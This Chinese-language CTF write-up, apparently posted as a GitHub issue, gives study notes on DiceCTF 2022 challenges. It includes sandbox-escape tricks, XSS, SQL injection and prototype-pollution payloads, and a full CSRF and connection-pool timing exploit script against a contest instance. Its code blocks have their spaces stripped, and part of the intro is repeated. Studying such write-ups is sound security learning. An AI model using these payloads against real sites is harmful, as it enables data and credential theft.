You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
身為一個喜歡 web 以及 JS 相關冷知識的人,這是一個很好的學習機會,透過賽後放出的 writeup 來學習各種技巧。底下不會有所有 web 題的筆記,只會有我關注的題目。
misc/undefined(55 solves)
這次在 misc 題型中也有一題跟 JS 相關的,題目敘述如下:
I was writing some Javascript when everything became undefined...
Can you create something out of nothing and read the flag at /flag.txt? Tested for Node version 17.
原始碼長這樣:
#!/usr/local/bin/node
// don't mind the ugly hack to read inputconsole.log("What do you want to run?");letinpBuf=Buffer.alloc(2048);constinput=inpBuf.slice(0,require("fs").readSync(0,inpBuf)).toString("utf8");inpBuf=undefined;Function.prototype.constructor=undefined;(async()=>{}).constructor.prototype.constructor=undefined;(function*(){}).constructor.prototype.constructor=undefined;(asyncfunction*(){}).constructor.prototype.constructor=undefined;for(constkeyofObject.getOwnPropertyNames(global)){if(["global","console","eval"].includes(key)){continue;}global[key]=undefined;deleteglobal[key];}deleteglobal.global;process=undefined;{letAbortController=undefined;letAbortSignal=undefined;letAggregateError=undefined;letArray=undefined;letArrayBuffer=undefined;letAtomics=undefined;letBigInt=undefined;letBigInt64Array=undefined;letBigUint64Array=undefined;letBoolean=undefined;letBuffer=undefined;letDOMException=undefined;letDataView=undefined;letDate=undefined;letError=undefined;letEvalError=undefined;letEvent=undefined;letEventTarget=undefined;letFinalizationRegistry=undefined;letFloat32Array=undefined;letFloat64Array=undefined;letFunction=undefined;letInfinity=undefined;letInt16Array=undefined;letInt32Array=undefined;let__dirname=undefined;letInt8Array=undefined;letIntl=undefined;letJSON=undefined;letMap=undefined;letMath=undefined;letMessageChannel=undefined;letMessageEvent=undefined;letMessagePort=undefined;letNaN=undefined;letNumber=undefined;letObject=undefined;letPromise=undefined;letProxy=undefined;letRangeError=undefined;letReferenceError=undefined;letReflect=undefined;letRegExp=undefined;letSet=undefined;letSharedArrayBuffer=undefined;letString=undefined;letSymbol=undefined;letSyntaxError=undefined;letTextDecoder=undefined;letTextEncoder=undefined;letTypeError=undefined;letURIError=undefined;letURL=undefined;letURLSearchParams=undefined;letUint16Array=undefined;letUint32Array=undefined;letUint8Array=undefined;letUint8ClampedArray=undefined;letWeakMap=undefined;letWeakRef=undefined;letWeakSet=undefined;letWebAssembly=undefined;let_=undefined;letexports=undefined;let_error=undefined;letassert=undefined;letasync_hooks=undefined;letatob=undefined;letbtoa=undefined;letbuffer=undefined;letchild_process=undefined;letclearImmediate=undefined;letclearInterval=undefined;letclearTimeout=undefined;letcluster=undefined;letconstants=undefined;letcrypto=undefined;letdecodeURI=undefined;letdecodeURIComponent=undefined;letdgram=undefined;letdiagnostics_channel=undefined;letdns=undefined;letdomain=undefined;letencodeURI=undefined;letencodeURIComponent=undefined;letarguments=undefined;letescape=undefined;letevents=undefined;letfs=undefined;letglobal=undefined;letglobalThis=undefined;lethttp=undefined;lethttp2=undefined;lethttps=undefined;letinspector=undefined;letisFinite=undefined;letisNaN=undefined;letmodule=undefined;letnet=undefined;letos=undefined;letparseFloat=undefined;letparseInt=undefined;letpath=undefined;letperf_hooks=undefined;letperformance=undefined;letprocess=undefined;letpunycode=undefined;letquerystring=undefined;letqueueMicrotask=undefined;letreadline=undefined;letrepl=undefined;letrequire=undefined;letsetImmediate=undefined;letsetInterval=undefined;let__filename=undefined;letsetTimeout=undefined;letstream=undefined;letstring_decoder=undefined;letstructuredClone=undefined;letsys=undefined;lettimers=undefined;lettls=undefined;lettrace_events=undefined;lettty=undefined;letunescape=undefined;leturl=undefined;letutil=undefined;letv8=undefined;letvm=undefined;letwasi=undefined;letworker_threads=undefined;letzlib=undefined;let__proto__=undefined;lethasOwnProperty=undefined;letisPrototypeOf=undefined;letpropertyIsEnumerable=undefined;lettoLocaleString=undefined;lettoString=undefined;letvalueOf=undefined;console.log(eval(input));}
你可以執行任何程式碼,但是在幾乎所有東西都變成 undefined 的情況下,你還能做什麼呢?
當初在看這題的時候我也沒有想到該怎麼辦,我試了幾個預設會有的東西像是 module、exports 之類的,都拿到 undefined,想說試試看用 import,結果噴了錯誤:SyntaxError: Cannot use import statement outside a module。
第一個解就是雖然 import "fs" 行不通,但是 import('fs') 可以,我看了一下 MDN,上面寫說:「There is also a function-like dynamic import(), which does not require scripts of type="module".」
functionwrapper(flag){{letflag=nullletarguments=nullfunctioninner(){console.log(arguments.callee===inner)// trueconsole.log(arguments.callee.caller===wrapper)// trueconsole.log(arguments.callee.caller.arguments[0])// I am flag}inner()}}wrapper('I am flag')
////////// Also, the vm code could throw an exception, with proxies on it.constcode5=`throw new Proxy({}, { get: function(me, key) { const cc = arguments.callee.caller; if (cc != null) { (cc.constructor.constructor('console.log(sauce)'))(); } return me[key]; }})`;try{vm.runInContext(code5,vm.createContext(Object.create(null)));}catch(e){// The following prints out 'laser' twice, (as side-effects of e// being converted to a string) followed by {}, which is the effect// of the console.log actually *on* this line printing out the// stringified value of the exception, which is in this case a// (proxy-wrapped) empty object.console.log(e);}
<h1>DiceCTF 2022 web/carrot</h1><p>Step 1: CSRF the admin user, to set a super long title for the flag note (LAX + POST form only possible for 2 minutes after cookies is created)</p><buttononclick="csrf()">do csrf</button><p>Step 2: XS-Search with <ahref="https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/">connection-pool timing leak</a>, we have to use window.open (LAX cookie)</p><buttononclick="popunder()">open popup</button><buttononclick="exhaust_sockets()">open 255 connections</button><buttononclick="oracle('dice{abc')">test search "abc" (slow)</button><buttononclick="oracle('dice{xxx')">test search "xxx" (fast)</button><br><br><h2id=output></h2><br><formid=xaction="" method="POST" style="display:none;"><inputtype="text" name="title" placeholder="title"><br><br><inputtype="number" name="priority" placeholder="priority" value=9999><br><br><textareaname="content" placeholder="content" rows="5" cols="20"></textarea><br><br><inputtype="submit" value="submit"></form><script>// this is send is used as loggingLOG='Starting'// 255 in normal chrome, 99 in headlessSOCKETLIMIT=255;// defaultTIMELIMIT=800;INSTANCE=''MYSERVER=`example.com`constsleep=(ms)=>{returnnewPromise(resolve=>{setTimeout(resolve,ms);});}consttime_fetch=async()=>{lettest_server_url=`https://${MYSERVER}/?${LOG}`;letstart=window.performance.now();try{awaitfetch(test_server_url,{mode: 'no-cors'});}catch(e){console.log(e);}letend=window.performance.now();returnend-start;}constfetch_sleep_long=(i)=>{// 40s sleepreturnfetch(`https://${i}.${MYSERVER}/40sleep`,{mode: 'no-cors'});}constfetch_sleep_short=(i)=>{// 0.25s sleepreturnfetch(`https://${i}.${MYSERVER}/ssleep`,{mode: 'no-cors'});}constblock_socket=async(i)=>{fetch_sleep_long(i);// needed?awaitsleep(0);}constexhaust_sockets=async()=>{leti=0for(;i<SOCKETLIMIT;i++){block_socket(i);}console.log(`Used ${i} connections`);}consttimeit=async(url,popup)=>{returnnewPromise(async(r)=>{popup.location=url;// needed?awaitsleep(50)letval=awaittime_fetch()r(val)});}// const alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ-}!"#$%&\'()*+,-./:;<=>?@[\\]^`|~{'.split('');constalphabet='abcdefghijklmnopqrstuvwxyz}_'.split('');// const alphabet = 'abcdef}'.split('');constoracle=async(search)=>{leturl=`https://carrot-${INSTANCE}.mc.ax/tasks?search=${search}`lett=awaittimeit(url,WINBG)LOG=`${search}:${t}`console.log(`${search}:${t}`)returnt>TIMELIMIT}constbrute=async(flag)=>{for(constcharofalphabet){if(awaitoracle(flag+char)){returnchar;}}returnfalse;}constcalibrate=async()=>{returnnewPromise(async(r)=>{// slowleturl1=`https://carrot-${INSTANCE}.mc.ax/tasks?search=dice{`lett1=awaittimeit(url1,WINBG)console.log(`slow:${t1}`)// fastleturl2=`https://carrot-${INSTANCE}.mc.ax/tasks?search=XXXXXXXXXX`lett2=awaittimeit(url2,WINBG)console.log(`fast:${t2}`)returnr((t1+t2)/2)});}constexploit=async(flag='')=>{console.log('Starting')// dont go to fast plz :) console.log(`waiting 3s`)awaitsleep(3000)// exaust socketsawaitexhaust_sockets()awaitsleep(2000)LOG=`Calibrating`TIMELIMIT=awaitcalibrate()LOG=`TIMELIMIT:${TIMELIMIT}`console.log(`timelimit:${TIMELIMIT}`)awaitsleep(2000)letlast;while(true){last=awaitbrute(flag);if(last===false){returnflag;}else{flag+=last;output.innerText=flag;if(last==='}'){returnflag}}}}constpopunder=()=>{if(window.opener){WINBG=window.opener}else{WINBG=window.open(location.href,target="_blank")location=`about:blank`}}constcsrf=async()=>{x.action=`https://carrot-${INSTANCE}.mc.ax/edit/0`x.title.value="A".repeat(1000000)x.submit()}window.onload=()=>{letp=newURL(location).searchParams;if(!p.has('i')){console.log(`no INSTANCE`)return}INSTANCE=p.get('i')// step 1 if(p.has('csrf')){csrf()return}// step 2if(p.has('exploit')){// window open is ok in headless :)popunder()exploit('dice{')}}</script>
<!DOCTYPE html><htmllang="en"><head><metahttp-equiv="content-type" content="text/html; charset=UTF-8"><metacharset="UTF-8"><title>shadow</title></head><body><h3id="title">store your secrets here:</h3><divid="vault"></div><divid="xss"></div><script>// the admin has the flag set in localStorage["secret"]letsecret=localStorage.getItem("secret")??"dice{not_real_flag}"letshadow=window.vault.attachShadow({mode: "closed"});letdiv=document.createElement("div");div.innerHTML=` <p>steal me :)</p> <!-- secret: ${secret} --> `;letparams=newURL(document.location).searchParams;letx=params.get("x");lety=params.get("y");div.style=y;shadow.appendChild(div);secret=null;localStorage.removeItem("secret");shadow=null;div=null;// free XSSwindow.xss.innerHTML=x;</script></body></html>
如果你不知道什麼是 CTF,可以參考我之前寫過的:該如何入門 CTF 中的 Web 題?,裡面有簡單介紹一下什麼是 CTF,以及一些基本的題型。
去年的 DiceCTF 2021 我有認真玩了一下,最後解出 6 題 web 題,心得都在這邊:DiceCTF 2021 - Summary。今年的 DiceCTF 我有看了一下,直接被電爆,難度完全是不同等級。
這次的 Web 題一共有 10 題,1 題水題 365 隊解開,另一題比較簡單一點 75 隊解開,其他 8 題都只有 5 隊以內解開,其中還有一題沒人解開。
身為一個喜歡 web 以及 JS 相關冷知識的人,這是一個很好的學習機會,透過賽後放出的 writeup 來學習各種技巧。底下不會有所有 web 題的筆記,只會有我關注的題目。
misc/undefined(55 solves)
這次在 misc 題型中也有一題跟 JS 相關的,題目敘述如下:
原始碼長這樣:
你可以執行任何程式碼,但是在幾乎所有東西都變成
undefined
的情況下,你還能做什麼呢?當初在看這題的時候我也沒有想到該怎麼辦,我試了幾個預設會有的東西像是
module
、exports
之類的,都拿到undefined
,想說試試看用import
,結果噴了錯誤:SyntaxError: Cannot use import statement outside a module
。根據作者的 writeup,這題有兩個解。
第一個解就是雖然
import "fs"
行不通,但是import('fs')
可以,我看了一下 MDN,上面寫說:「There is also a function-like dynamic import(), which does not require scripts of type="module".」所以可以這樣解:
另外一個解法則是要知道 Node.js 的一些細節,例如說你寫這樣一段程式碼:
因為沒有 function,所以你預期 return 應該會出錯,但執行時你會發現沒有出錯,而且還真的像是有個 function 一樣。這是因為 Node.js 的 module 其實都會被放到 function 裡面,上面的程式碼會像這樣:
我們的目標就是拿到
require
這個參數,但是因為arguments
也變成undefined
了,所以沒有辦法直接拿到,要間接去拿。這是什麼意思呢,我們可以先執行一個 function,然後再用arguments.callee.caller.arguments
去拿到 parent function 的參數,像是這樣:這題我自己比較可惜的點有兩個,一個是以前就有學生問過我那個 return 的問題,我當時只有回說外面包了一層 function,但沒有銘記在心中(?),導致完全忘記。
第二個是
arguments.callee.caller
這個操作我自己在兩年前就寫過:覺得 JavaScript function 很有趣的我是不是很奇怪。2022-02-09 補充:
補充一下另一個我覺得很帥氣的解法,來自這邊:DiceCTF 2022 WriteUps by maple3142
這邊用了 Node.js 可以拿到 structuredStackTrace 的 feature,簡單的 POC 長這樣:
我們可以用
x.getFunction()
拿到上層的 function,就是 Node.js 幫忙加上 wrapper 的那個,再一樣用arugments
去拿到參數,官方有個文件在講 Stack trace API。然後還有一點我覺得很酷,就是上面 POC 中如果放到 undefined 這題,我們是沒有
Error
可以用的,那怎麼辦呢?writeup 的作者用了這招:
沒錯啊!既然拿不到 Error,就先自己製造一個 TypeError,再利用 TypeError 是繼承自 Error 的特性,就可以不依靠 global 拿到 Error constructor 了,這招好帥。
web/blazingfast(75 solves)
這題的敘述是:
簡單來說就是寫了一個會把奇數位置的字轉成大寫的轉換器,主要程式碼如下:
而 blazingfast.c 程式碼如下:
只要 buf 裡面的內容有
<
跟>
就會直接 return 1,然後 JS 那層就會回傳No XSS for you!
,所以無法輕易執行 XSS。這題的關鍵我有找到,但是當時程式碼沒看清楚導致想錯了,可惜沒解出來。
關鍵就是利用一些奇特的字元創造出長度的差異,例如說
ß
這個字元長度是 1,但是轉成大寫之後變成兩個字:還有其他字元也有這種特性,可以自己 fuzzing 一下,有些字元拿來繞過長度限制很好用,像是這篇:Exploiting XSS with 20 characters limitation 就利用這招縮短長度,網址也可以用同樣的手法,可參考:domain-obfuscator 或是 Unicode Mapping on Domain names
假設我有個字串是
ßßßßßßßß<b>1</b>
,長度是 16,所以在初始化的時候 length 會是 16,但是當跑到迴圈的時候因為轉成大寫,會是8*2+8
= 24 個字,所以 24 個字會全部被寫進去 buf 裡面。在
mock
函式裡面,只會檢查 length 內的東西,所以最後 8 個字不會被檢查到,可以偷渡<>
這些字元進去,像這樣:但因為所有字元都會變成大寫,所以要找一個變成大寫之後還是可以用的 XSS payload,這時候可以用 encode 過的字串,像這樣:
如此一來就搞定了,或是也可以參考更複雜的做法:https://smitop.com/p/dctf22-blazingfast/
web/no-cookies(5 solves)
這一題很有趣,敘述是:
簡單來說就是有個網站,無論做什麼操作都會先問你帳號密碼,打 API 也會直接把帳號密碼帶上去,如此一來就不需要 cookie 了。
這題前端的程式碼如下:
parse Makrdown 那一段就一臉可以 XSS 的樣子:
事後作者說他本來沒有想要在這邊留洞,這個洞是 GitHub copilot 寫出來的XD 但他覺得很有趣就留下來了。
這個 XSS 的洞並不難找
但問題是有了 XSS 之後,該怎麼把密碼偷出來(密碼就是這題的 flag)?
我當時怎麼看都不覺得可以偷到密碼,賽後看 writeup 才知道一個神奇的屬性:RegExp.input,這個屬性可以拿到 RegExp 最後一次的 input,例如說這樣:
而 password 就是最後一次丟去
/^[^$']+$/.test()
的輸入,所以就可以藉此拿到 password,這真的是 mind-blowing。但這邊還有個細節,那就是如果你用了 markdown XSS,最後配對的 regexp 就不是 password 了,所以就拿不到。這時候你必須找出 server 的 SQL injection,程式碼如下:
會把所有單引號跟 $ 拿掉,然後去 replace 所有的
:param
,這時候可以利用這個特性來注入,例如說這樣 (from DrBrix):我們來看一下最後會變怎樣:
利用這個洞,就可以不依靠 markdown 來做 XSS,再利用
RegExp.input
這個神奇屬性拿到 password。預期外解法
這題的預期外解法也是超帥,不需要
RegExp.input
了,利用的特性是底下這段程式碼:這段程式碼你可能會預期插入 HTML 之後,會先繼續往下執行,然後才執行 HTML 裡面的內容,例如說:
顯示出來的 alert 會是
updated
,img 的事件確實是後來才執行,但如果是這樣寫的話就不一樣了:這樣寫的話,
onload
裡的東西會在y.innerText = 'updated'
之前執行,所以 alert 的內容會是hello
,這個 payload 其實也有記在 tinyXSS 裡面:那知道這個之後可以幹嘛呢?
我們先整理一下載入筆記的程式碼,簡化後長這樣:
現在如果我們可以在最後一行之前執行程式碼的話,就可以做一些有趣的事情。
我們可以先把
document.querySelector
蓋掉,再把JSON.stringify
蓋掉,像是這樣:蓋掉之後可以幹嘛呢?蓋掉之後我們就可以用
arguments.callee.caller
,存取到最外層那個匿名的 async 函式,然後再呼叫一次!再呼叫一次之後,就會再發送一次 request,然後透過JSON.stringify
把 password 傳進去,這時我們就可以攔截到:這個非預期解來自於 @dr_brix,真的超級帥,從沒想過可以這樣做。
web/vm-calc(2 solves)
話說做個計算功能是 CTF 中常見的題型,以這題來說乍看之下會以為是 VM escape,核心程式碼如下:
而可以拿到 flag 的程式碼是這一段:
有關於 VM escape,我所知道的都是根據這個檔案:https://gist.github.com/jcreedcmu/4f6e6d4a649405a9c86bb076905696af
裡面有一些方式很有趣,例如說這一段:
丟一個 proxy 出去當 exception,然後當有人對這個 exception 執行 toString 時,就會觸發到,就可以透過
arguments.callee.caller
拿到外界的 function。不過這題並不是要你找 vm2 0 day,而是要利用一個 Node.js 1 day,利用 prototype pollution 來繞過這一段:
這個繞過我覺得也是很猛,照理來說
users.filter
因為沒條件符合,所以會返回空陣列,這時候通常都會檢查長度才對,這邊卻檢查第一個元素是不是 undefined。這是因為如果有一個 prototype pollution 的漏洞,我們可以污染陣列的第一個屬性,那
[][0]
就會有東西,就可以讓 if 成立。而這個漏洞編號為 CVE-2022-21824,利用方式是:
這個 API 第一個參數是資料,第二個參數是要顯示的欄位,像這樣:
修復的 commit 是這一個:nodejs/node@3454e79
從中可以得知是
map
這個 object 的問題,我們接著來看一下console.table
的程式碼的重點部分:lib/internal/console/constructor.js所以透過這個方式,可以污染
Object.prototype[0]
,讓它變成空字串。看來應該要 follow 一下 Node.js security updates,感覺滿多有用的資訊。
web/noteKeeper(2 solves)
這題當時沒仔細看,先放著未來有機會再研究:https://brycec.me/posts/dicectf_2022_writeups#notekeeper
web/dicevault(2 solves)
這題也沒仔細看,只知道是致敬另外一題:http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html
作者解答:https://hackmd.io/fmdfFQ2iS6yoVpbR3KCiqQ#webdicevault
web/carrot(1 solves)
這題也很有趣,是個很簡單的 service,可以新增 note 跟搜尋,畫面如下:
搜尋的時候會搜尋內容,有的話就會顯示,後端程式碼如下:
flag 藏在 admin note 裡面,在啟動時會自動建立:
從 admin bot 的行為跟其他觀察看起來,就是個 XS-Leaks 的題目,只要能觀測到 search 的結果有沒有 flag 就行了,但難就難在想不出怎麼觀測。
這題官方沒有釋出而且似乎不會釋出解答(既然不釋出,可能是 Chrome 0 day 或是某個還沒修的 bug?),但賽後討論有人給了 XS-Leaks 的 exploit: https://gist.github.com/kunte0/47c2b53535605d842f984e77d6c63eed
完整程式碼:
簡單來說可以先用 CSRF 去改 admin note 的 title,改成一個超級長的字串,因為 jinja2 render 會變慢,所以 response time 就會增加。
再來就是 timing attack 了,上面的 exploit 用的是 connection pool,先把瀏覽器的 connection pool 塞到只剩下一個,這時候就剩下一個 connection 可以用了。
這時候我們用新的 window 去造訪 search 的 URL(稱作 reqSearch 好了),與此同時再發一個 request 到我們自己的 server(我們叫做 reqMeasure),因為只有一個 connection 可以用,所以 reqMeasure 從發出 request 到收到 response 的時間,就是
reqSearch 花的時間 + reqMeasure 花的時間
,假設 reqMeasure 花的時間都差不多,那我們很容易可以測量出 reqSearch 花的時間。可以測量時間之後,就可以慢慢暴力破解出 flag 的內容。
web/shadow(0 solves)
這題是純前端的題目,我們直接來看程式碼:
建立了一個 closed 的 shadow DOM,然後要你想辦法可以存取到裡面的內容。根據 MDN 的說法,closed 的意思是:
所以用 JavaScript 沒辦法直接存取到程式碼,因為怎麼 query 都是 null。
因此這題的關鍵是特地留的一個 style injection:
div.style = y;
,你可以新增一些 CSS。在做這題的時候我想說會不會是用 Houdini 然後自己實作一些 CSS 的自訂屬性或是排版規則,就可以拿到 DOM,但因為 CSP 跟執行順序的關係,應該是沒有辦法。
後來因為這題太久都沒人解開,主辦單位釋出了一個提示:「Hint 1: non-standard css properties might help you」
看到這個之後我就去 Google:
non-standard css properties
,然後有找到這個:Non-standard and Obsolete CSS Properties,並且實際去試了裡面幾個屬性,但都沒什麼幫助。此時我突然好奇起 Chrome 到底支援哪些 CSS 屬性,於是就直接去找原始碼來看,找到這個:https://chromium.googlesource.com/chromium/blink/+/refs/heads/main/Source/core/css/CSSProperties.in
(話說上面的是舊版,新版在這裡:third_party/blink/renderer/core/css/css_properties.json5,相關說明在這裡:third_party/blink/renderer/core/style/ComputedStyle.md)
我就一個一個看,看有沒有哪個比較特別的,就找到了
-webkit-user-modify
這個屬性,來看一下 MDN: https://developer.mozilla.org/en-US/docs/Web/CSS/user-modify看起來這屬性就跟
contenteditable
差不多,既然變成contenteditable
,自然而然就會想到 document.execCommand,而這裡面有個insertHTML
的指令,看起來很有機會。於是我就在 console 上面試了半天,試了像是
document.execCommand('insertHTML',false,'<img src=x onerror=console.log(this.parentNode)')
之類的東西,但是 console 顯示出null
,我想說可能不是這個解吧,於是到這邊就放棄了。看了賽後的 writeup:https://github.com/Super-Guesser/ctf/blob/master/2022/dicectf/shadow.md,發現其實我的方向完全是正確的,只是有兩個關鍵點沒找到。
第一個關鍵點是要先 focus 那段文字再執行 insertHTML,這個我之前有試過
.focus()
但沒用,第二個關鍵點是要用 svg 才能成功。先放一下成功的 payload:
先用
window.find
去 focus 內容之後,再執行document.execCommand
去插入 HTML,然後透過svg
的 event 去執行 JS 拿到節點底下是幾個會失敗的 payload:
但神奇的事情是,如果在前面先加上
document.exec('selectAll')
,就可以:為什麼會有這個差異呢?我也不知道,解出來的人似乎也不知道XD
除了學到 window.find 這個神奇的 API 以外,從 Discord 的賽後討論也學到了另一個隱藏 API:
document.execCommand('findString', false, 'steal')
,他們說是從 Chromium source code 裡面看到的:https://chromium.googlesource.com/chromium/src/+/refs/tags/100.0.4875.3/third_party/blink/renderer/core/editing/commands/editor_command_names.h#35這邊留下三個坑,未來有機會再補:
document.execCommand
可以執行的指令總結
雖然 10 題裡面只打出 1 題 web,但還是收穫滿滿,筆記一下這次學到的新知識:
import "fs"
但可以用import("fs").then()
RegExp.input
也就是RegExp.$_
,可以拿到最後比對的輸入<svg><svg onload=alert()>
是同步執行的,這個真的神奇-webkit-user-modify
可以做到跟contenteditable
差不多的事情window.find
跟document.execCommand('findString', false, 'steal')
可以反白選取相對應字串感覺這次學到的技巧其他 CTF 也很有機會派上用場。
The text was updated successfully, but these errors were encountered: